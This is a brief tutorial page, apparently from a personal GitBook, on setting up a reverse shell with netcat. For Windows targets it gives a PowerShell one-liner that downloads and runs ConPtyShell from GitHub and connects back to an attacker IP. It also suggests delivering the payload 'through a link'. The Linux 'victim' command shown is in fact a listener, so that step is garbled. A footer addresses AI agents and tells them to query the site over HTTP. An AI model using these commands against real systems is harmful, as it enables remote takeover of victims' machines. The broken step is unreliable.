# Reverse Shell

### Make sure nmap is installed on the target and source machines

#### Windows

<https://nmap.org/download.html#windows>

#### Linux

```
sudo apt-get install nmap
```

### Run the following command on the source machine to listen for traffic on a specified port. (linux)

```
nc -lnvp 87
```

### On the victim machine run the following command to connect to the source machine over port 87. (Linux Target)

```
nc -lvnp 87 -s <IP ADDRESS>
```

#### Note: This command is an example of a payload. A script that runs this command can be put onto a machine through a link etc. In the Metasploit project we will look into more advanced payloads(.

### Attacking a Windows Machine

#### Command to listen on port 87 for Windows traffic.

```
stty raw -echo; (stty size; cat) | nc -lvnp 87 
```

#### Pass the following command to start the reverse shell and connect to the attacker.

```
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.2.15 87
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://derek-johnson-1.gitbook.io/welcome/projects/reverse-shell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
